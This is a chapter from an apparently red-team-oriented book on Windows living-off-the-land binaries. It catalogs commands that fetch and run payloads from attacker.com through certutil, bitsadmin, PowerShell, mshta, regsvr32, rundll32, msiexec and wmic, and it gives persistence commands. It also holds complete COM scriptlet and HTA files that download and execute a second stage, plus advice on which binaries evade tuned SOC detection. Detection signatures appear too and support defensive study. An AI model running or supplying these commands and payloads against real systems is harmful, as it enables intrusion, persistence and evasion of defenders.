Chapter 68

Living-off-the-Land Binaries (LOLBins)

LOLBins (Living-off-the-Land Binaries) are legitimate, Microsoft-signed executables that can be abused to download files, execute code, bypass security controls, or establish persistence — without dropping any of your own malicious code to disk. The binaries are signed by Microsoft, present on every Windows installation, and whitelisted by most application control policies. When an EDR sees certutil.exe downloading a file, it sees a legitimate system binary performing a network operation — not malware. This chapter catalogs the most operationally useful LOLBins, their abuse mechanisms, and the detection signatures that have developed around them over years of offensive use.

LOLBin Catalog

High-value LOLBins by capability
  FILE DOWNLOAD:
  ─────────────────────────────────────────────────────────────────────────
  certutil.exe
    certutil -urlcache -f http://attacker.com/payload.bin payload.bin
    certutil -decode b64file.txt payload.exe
    → Decodes base64 files, downloads URLs. Logged by Defender since 2017.
    → STILL WORKS if defender logging is disabled or SIEM not tuned.
    Detection: EventID 4688, certutil + -urlcache flag in command line.
  
  bitsadmin.exe
    bitsadmin /transfer job /download /priority normal http://attacker.com/p.exe C:\tmp\p.exe
    → BITS (Background Intelligent Transfer Service) based download.
    → Runs under the BITS service (svchost.exe) — not under bitsadmin's PID.
    Detection: BITS job creation event (Microsoft-Windows-Bits-Client ETW).
  
  powershell.exe
    IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
    → Classic in-memory PS download+execute. Heavily monitored.
    Detection: PowerShell ScriptBlock logging, AMSI.
  
  CODE EXECUTION (bypass application control):
  ─────────────────────────────────────────────────────────────────────────
  mshta.exe
    mshta.exe http://attacker.com/malicious.hta
    mshta.exe "javascript:a=new%20ActiveXObject('WScript.Shell');a.Run('calc.exe');close();"
    → Executes HTML Applications (.hta) — VBScript/JScript code in IE engine.
    → .hta is not covered by WDAC/AppLocker in many configurations.
    Detection: mshta spawning processes, network connection from mshta.
  
  regsvr32.exe (Squiblydoo)
    regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
    → Downloads and executes scriptlet (.sct) XML file with COM registration.
    → scrobj.dll is MS-signed, regsvr32 is whitelisted.
    Detection: regsvr32 + /i:http flag, network connection from regsvr32.
  
  rundll32.exe
    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication " code
    rundll32.exe http://attacker.com/payload.dll,EntryPoint
    → Classic code execution via legitimate DLL loader.
    Detection: rundll32 with URL or javascript: argument, unusual DLL paths.
  
  msiexec.exe
    msiexec.exe /quiet /i http://attacker.com/payload.msi
    → Downloads and installs MSI package silently. MSI can contain executables.
    Detection: msiexec with URL, Defender rules on remote MSI install.
  
  wmic.exe
    wmic os get /FORMAT:"http://attacker.com/xsl_payload.xsl"
    → Downloads and transforms XSL — XSL can contain JScript/VBScript via MSXSL.
    Detection: wmic with /FORMAT:http flag. wmic.exe deprecated in Win11.
  
  PERSISTENCE:
  ─────────────────────────────────────────────────────────────────────────
  schtasks.exe
    schtasks /create /sc daily /tn "WindowsUpdate" /tr "cmd.exe /c payload.exe" /f
    → Creates scheduled task via CLI.
    Detection: EventID 4698 (scheduled task created), Sysmon EventID 1.
  
  reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater" /t REG_SZ /d "payload.exe" /f
    → Registry run key persistence.
    Detection: EventID 13 (Sysmon registry value set), 4657.
  
  DEFENSE BYPASS:
  ─────────────────────────────────────────────────────────────────────────
  installutil.exe
    installutil.exe /logfile= /logtoconsole=false /U payload.dll
    → Runs .NET code in DLL as a "setup" step. Bypasses some AppLocker rules.
    Detection: installutil with unusual DLL path, non-install context.
  
  odbcconf.exe
    odbcconf.exe /S /A {REGSVR "C:\payload.dll"}
    → Registers DLLs like regsvr32 but less monitored.
    Detection: Sysmon image load events for payload.dll from odbcconf.

certutil.exe and bitsadmin.exe In Depth

# ── certutil.exe abuse ────────────────────────────────────────────────

# Download file (most monitored — avoid in mature SOC environments):
certutil.exe -urlcache -f "http://attacker.com/payload.exe" "%TEMP%\p.exe"

# Decode base64 encoded payload (split the download and execution):
# Step 1 (on attacker machine): base64 encode the payload
# python3 -c "import base64; print(base64.b64encode(open('payload.exe','rb').read()).decode())" > encoded.b64
# Step 2: host encoded.b64 on a web server
# Step 3 (victim): download the .b64 text file (looks like data, not an exe)
certutil.exe -urlcache -f "http://attacker.com/data.b64" "%TEMP%\data.b64"
certutil.exe -decode "%TEMP%\data.b64" "%TEMP%\payload.exe"
"%TEMP%\payload.exe"

# Encode local file to base64 (useful for data exfil):
certutil.exe -encode "C:\sensitive_file.txt" "encoded_output.txt"

# ── bitsadmin.exe abuse ───────────────────────────────────────────────

# Download via BITS (runs in svchost.exe — different process from the caller):
bitsadmin.exe /transfer "WindowsUpdate" /download /priority FOREGROUND ^
    "http://attacker.com/payload.exe" "%TEMP%\WinUpdate.exe"

# Resume a completed transfer (if the job was created earlier):
bitsadmin.exe /complete "WindowsUpdate"

# List BITS jobs (for cleanup):
bitsadmin.exe /list /allusers

# Delete BITS job (cleanup):
bitsadmin.exe /cancel "WindowsUpdate"

# PowerShell equivalent (harder to detect than bitsadmin CLI):
Start-BitsTransfer -Source "http://attacker.com/payload.exe" ^
    -Destination "$env:TEMP\WinUpdate.exe" -Priority Foreground

Squiblydoo (regsvr32) and mshta In Depth

<!-- payload.sct — COM Scriptlet used with regsvr32.exe Squiblydoo -->
<?XML version="1.0"?>
<scriptlet>
  <registration
    progid="TESTING"
    classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
    <script language="JScript">
      <![CDATA[
        // JScript inside a COM scriptlet — executed by scrobj.dll
        // when registered/unregistered via regsvr32.exe
        var shell = new ActiveXObject("WScript.Shell");
        // Execute payload command:
        shell.Run("cmd.exe /c powershell -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')", 0, false);
      ]]>
    </script>
  </registration>
</scriptlet>
<!-- malicious.hta — HTML Application executed by mshta.exe -->
<!DOCTYPE html>
<html>
<head><title>Document</title></head>
<body>
<script language="VBScript">
' VBScript in an HTA file — executed in a trusted context by mshta.exe
' HTA runs with full trust by default (no sandbox, no WDAC, no AppLocker restrictions
' in configurations that don't explicitly block .hta execution)
Set oShell = CreateObject("WScript.Shell")
' Run our payload:
oShell.Run "cmd.exe /c %TEMP%\payload.exe", 0, False

' Optionally download and run from URL:
Set oXMLHttp = CreateObject("MSXML2.XMLHTTP")
oXMLHttp.Open "GET", "http://attacker.com/payload.exe", False
oXMLHttp.Send
Dim oStream
Set oStream = CreateObject("Adodb.Stream")
oStream.Type = 1 ' binary
oStream.Open
oStream.Write oXMLHttp.ResponseBody
oStream.SaveToFile Environ("TEMP") & "\p.exe", 2 ' overwrite
oStream.Close
oShell.Run Environ("TEMP") & "\p.exe", 0, False
</script>
</body>
</html>

LOLBin Detection Summary

Detection signatures by LOLBin — what tuned SIEMs look for
  LOLBin             Detection signature (Sigma/KQL form)
  ─────────────────────────────────────────────────────────────────────────
  certutil.exe       CommandLine contains "-urlcache" OR "-decode"
                     AND Parent is not trusted IT management tool
  
  bitsadmin.exe      CommandLine contains "/transfer" AND "/download"
                     OR BITS job created from non-SYSTEM user
  
  mshta.exe          Spawns any process (unusual — mshta is a viewer)
                     OR CommandLine contains "http://" or "javascript:"
  
  regsvr32.exe       CommandLine contains "/i:http" OR "/i:\\\\"
                     (network path for scriptlet file)
  
  rundll32.exe       CommandLine contains "javascript:" OR
                     spawns cmd.exe/powershell.exe
  
  wmic.exe           CommandLine contains "/FORMAT:http"
  
  msiexec.exe        CommandLine contains "http://" in /i argument
  
  installutil.exe    Invoked outside of known software installer context
                     (parent process is not an installer or IT tool)
  
  Maturity of detection:
  ─────────────────────────────────────────────────────────────────────────
  certutil, powershell, mshta: High maturity — detected by default rules
  in Elastic, Splunk, Microsoft Sentinel. Avoid using these in tuned SOCs.
  
  bitsadmin, regsvr32 (Squiblydoo): Medium maturity — many orgs have rules
  but coverage varies. Less likely to alert immediately.
  
  odbcconf, installutil, wmic XSL: Lower maturity — less common in default
  SIEM content packages. More likely to pass undetected initially.
  
  LOLBin-free approach:
  ─────────────────────────────────────────────────────────────────────────
  Use process injection (Part 4) to execute code inside a legitimate process.
  The malicious code runs inside explorer.exe or svchost.exe — no LOLBin
  involved, no suspicious command line, just a process that suddenly has
  network connections or makes API calls it normally wouldn't.

Questions & Answers

How does WDAC application control interact with LOLBin abuse?

WDAC (Windows Defender Application Control) enforces a code integrity policy that specifies which binaries are allowed to run. By default, all Microsoft-signed binaries are allowed — which means LOLBins (which are Microsoft-signed) pass WDAC. However, WDAC can be configured with a "Publisher" policy that blocks specific binaries: you can explicitly block mshta.exe, regsvr32.exe, and other LOLBins from executing if your policy includes a deny rule for those publisher/filename combinations. Microsoft provides "recommended block rules" specifically targeting the most common LOLBin abuse patterns. Organizations using WDAC at a mature level have these block rules in place, making many LOLBins ineffective. The attackers' response: move to LOLBins with fewer restrictions (odbcconf, colorcpl.exe, pcalua.exe) or abandon LOLBins entirely and use direct injection.

What is the LOLBAS project and how should you use it during planning?

LOLBAS (Living Off The Land Binaries and Scripts — lolbas-project.github.io) is a community-maintained database of Windows binaries that can be abused for offensive operations. Each entry lists the binary, its legitimate function, the abuse technique, required parameters, and detection suggestions. Before any engagement, search LOLBAS for binaries available in your target environment that match your operational needs (download, execute, persist, etc.) and cross-reference with the detection status. Filter by availability: some LOLBins are only present if specific software is installed (e.g., Visual Studio's MSBuild.exe, the .NET Framework's installutil.exe). LOLBAS is organized by the technique: Execute, Download, Copy, Bypass, Persist, Elevate, etc. Use it as an enumeration tool: "what can I do with only what's already on this machine?" is the first question of every operation that aims to minimize forensic footprint.

Are LOLBins useful for persistence as well as execution, and what's the most forensically clean approach?

Yes — schtasks.exe and reg.exe are the most common LOLBin persistence vectors. The most forensically clean LOLBin persistence (from a detection standpoint, not from a "clean binary" standpoint): WMI event subscription, which uses WMI's native infrastructure to run a command when a specific event occurs (e.g., system startup, user logon). WMI subscriptions are created via PowerShell or WMI COM APIs, leave minimal file system artifacts (the subscription is stored in the WMI repository), and persist across reboots. Detection requires specifically querying the WMI repository for persistent subscriptions — not automatically done by most SIEMs without dedicated WMI event logging. WMI persistence is covered in Part 8 (Persistence) in detail. The cleanest LOLBin-free approach: use the implant's own persistence module (writing to the registry or creating scheduled tasks via direct NT API calls without invoking reg.exe or schtasks.exe), which avoids the high-confidence command-line detection signatures entirely.